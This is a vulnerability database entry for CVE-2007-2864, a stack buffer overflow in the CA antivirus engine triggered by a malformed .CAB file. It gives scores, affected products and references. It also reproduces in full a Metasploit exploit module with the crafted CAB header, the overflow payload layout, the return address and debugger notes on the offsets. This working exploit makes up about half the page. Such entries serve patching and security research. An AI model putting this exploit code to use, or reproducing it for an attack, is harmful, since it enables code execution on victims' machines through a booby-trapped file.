CVE-2007-2864 : Detail

CVE-2007-2864

95.04%V3
Network
2007-06-06
19h00 +00:00
2018-10-16
12h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Stack-based buffer overflow in the Anti-Virus engine before content update 30.6 in multiple CA (formerly Computer Associates) products allows remote attackers to execute arbitrary code via a large invalid value of the coffFiles field in a .CAB file.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 16677

Publication date : 2010-11-10 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: ca_cab.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'CA Antivirus Engine CAB Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in CA eTrust Antivirus 8.1.637. By creating a specially crafted CAB file, an an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision: 10998 $', 'References' => [ [ 'CVE', '2007-2864' ], [ 'OSVDB', '35245'], [ 'BID', '24330' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-035.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 250, 'BadChars' => "\x00", 'StackAdjustment' => -3500, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 All / Windows XP SP0/SP1 (CA eTrust Antivirus 8.1.637)', { 'Ret' => 0x6dc886ea } ], # inocore.dll ], 'Privileged' => false, 'DisclosureDate' => 'Jun 05 2007', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.cab']), ], self.class) end def exploit cab_header = "\x4D\x53\x43\x46\x00\x00\x00\x00\xC4\x0D\x00\x00\x00\x00\x00\x00" cab_header << "\x2C\x00\x00\x00\x00\x00\x00\x00\x03\x01\x01\x00\x01\x00\x00\x00" cab_header << "\xD2\x04\x00\x00\x44\x00\x00\x00\x01\x00\x00\x00\x78\x0D\x00\x00" cab_header << "\x00\x00\x00\x00\x00\x00\xE2\x36\x53\xAD\x20\x00" sploit = make_nops(268 - payload.encoded.length) + payload.encoded sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V') sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-260").encode_string sploit << make_nops(800) cab = cab_header + sploit print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(cab) end end =begin 0:001> !exchain 00cdf1b0: VetE!InoAvpackDat+ca058 (600d19c8) 00cdf2fc: 316a4130 Invalid exception stack at 6a413969 0:001> !pattern_offset 1024 0x6a413969 [Byakugan] Control of 0x6a413969 at offset 268. 0:001> !pattern_offset 1024 0x316a4130 [Byakugan] Control of 0x316a4130 at offset 272. 0:001> u 0x6dc886ea L3 INOCORE!QSIInitQSysInfo+0x278a: 6dc886ea 5f pop edi 6dc886eb 5e pop esi 6dc886ec c3 ret =end

Products Mentioned

Configuraton 0

Broadcom>>Anti-virus_for_the_enterprise >> Version 8

Broadcom>>Brightstor_arcserve_backup >> Version 9.01

Broadcom>>Brightstor_arcserve_backup >> Version 10.5

Broadcom>>Brightstor_arcserve_backup >> Version 11

Broadcom>>Brightstor_arcserve_backup >> Version 11.1

Broadcom>>Brightstor_arcserve_backup >> Version 11.5

Broadcom>>Common_services >> Version 1.0

Broadcom>>Common_services >> Version 1.1

Broadcom>>Common_services >> Version 2.0

Broadcom>>Common_services >> Version 2.1

Broadcom>>Common_services >> Version 2.2

Broadcom>>Common_services >> Version 3.0

Broadcom>>Etrust_antivirus >> Version 8.0

Broadcom>>Etrust_antivirus >> Version 8.1

Broadcom>>Etrust_antivirus_gateway >> Version 7.1

Broadcom>>Etrust_antivirus_sdk >> Version *

Broadcom>>Etrust_ez_antivirus >> Version 6.1

Broadcom>>Etrust_ez_antivirus >> Version 7.0

Broadcom>>Etrust_ez_armor >> Version 1.0

Broadcom>>Etrust_ez_armor >> Version 2.0

Broadcom>>Etrust_ez_armor >> Version 3.0

Broadcom>>Etrust_ez_armor >> Version 3.1

Broadcom>>Integrated_threat_management >> Version 8.0

Broadcom>>Internet_security_suite >> Version 1.0

Broadcom>>Internet_security_suite >> Version 2.0

Broadcom>>Internet_security_suite >> Version 3.0

Broadcom>>Unicenter_network_and_systems_management >> Version 3.0

Broadcom>>Unicenter_network_and_systems_management >> Version 3.1

Broadcom>>Unicenter_network_and_systems_management >> Version 11

Broadcom>>Unicenter_network_and_systems_management >> Version 11.1

Ca>>Etrust_secure_content_manager >> Version 8.0

Ca>>Protection_suites >> Version r2

    Ca>>Protection_suites >> Version r3

      References

      http://www.securityfocus.com/bid/24330
      Tags : vdb-entry, x_refsource_BID
      http://www.kb.cert.org/vuls/id/105105
      Tags : third-party-advisory, x_refsource_CERT-VN
      http://www.vupen.com/english/advisories/2007/2072
      Tags : vdb-entry, x_refsource_VUPEN
      http://www.securitytracker.com/id?1018199
      Tags : vdb-entry, x_refsource_SECTRACK
      http://www.osvdb.org/35245
      Tags : vdb-entry, x_refsource_OSVDB
      http://secunia.com/advisories/25570
      Tags : third-party-advisory, x_refsource_SECUNIA